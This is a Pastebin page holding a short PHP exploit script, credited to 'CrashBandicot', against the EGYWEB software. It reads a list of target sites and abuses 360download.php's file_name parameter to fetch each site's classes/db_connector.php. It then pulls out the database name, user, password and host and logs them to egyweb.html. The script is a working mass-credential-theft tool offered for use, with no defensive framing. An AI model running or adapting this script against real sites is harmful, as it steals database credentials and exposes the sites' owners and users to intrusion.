CrashBandicot

EGYWEB - Remote File Download

Sep 17th, 2014
759
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.33 KB | None | 0 0
  1. <?php
  2. /*
  3.    <Gr34tz>Magnom , M0sta , Ghosty , Hamid </Gr34tz>
  4.    by CrashBandicot ^_^
  5.  
  6. */
  7.  
  8.  
  9. print "\n\t   EGYWEB - Remote File Disclosure Exploit\n";
  10.  
  11. echo "\n\t usage : php $argv[0] lista.txt \n\n";
  12. $get = file_get_contents($argv[1]);
  13. $expl = explode("\r\n",$get);
  14.  
  15. foreach($expl as $target){
  16.  
  17. echo "\n\t[*] Try Exploit >> ".$target."\n";
  18.  
  19. $uri = $target."/360download.php?file_name=classes/db_connector.php";
  20. $req = @file_get_contents($uri);
  21.  
  22. if(preg_match ("#db_connector#i", $req))
  23. {
  24.  
  25.         if (preg_match ("#db_name = \"(.*?)\";#i", $req, $name))
  26.         {
  27.             $a = "\t\t[!] DB_NAME : ". $name[1] ."\n";
  28.             echo $a;
  29.         }
  30.         if (preg_match ("#db_user = \"(.*?)\"#i", $req, $user))
  31.         {
  32.             $b = "\t\t[!] DB_USER : ". $user[1]. "\n";
  33.             echo $b;
  34.         }
  35.         if (preg_match ("#db_password = \"(.*?)\";#i", $req, $pass))
  36.         {
  37.             $c = "\t\t[!] DB_PASS : ". $pass[1]. "\n";
  38.             echo $c;
  39.         }
  40.         if (preg_match ("#db_host = \"(.*?)\";#i", $req, $host))
  41.         {
  42.             $d = "\t\t[!] DB_HOST : ". $host[1]. "\n";
  43.             echo $d;
  44.         }
  45.        
  46.         $save = fopen('egyweb.html', 'a');
  47.         fwrite($save, $target."<br>");
  48.         fwrite($save, $a."<br>");
  49.         fwrite($save, $b."<br>");
  50.         fwrite($save, $c."<br>");
  51.         fwrite($save, $d."<br><br>");
  52.         fclose($save);
  53. } else { echo "\t\t Vulnerability Not F0und \n"; }
  54.  
  55. }
  56.  
  57.  
  58. ?>
Advertisement
Add Comment
Please, Sign In to add comment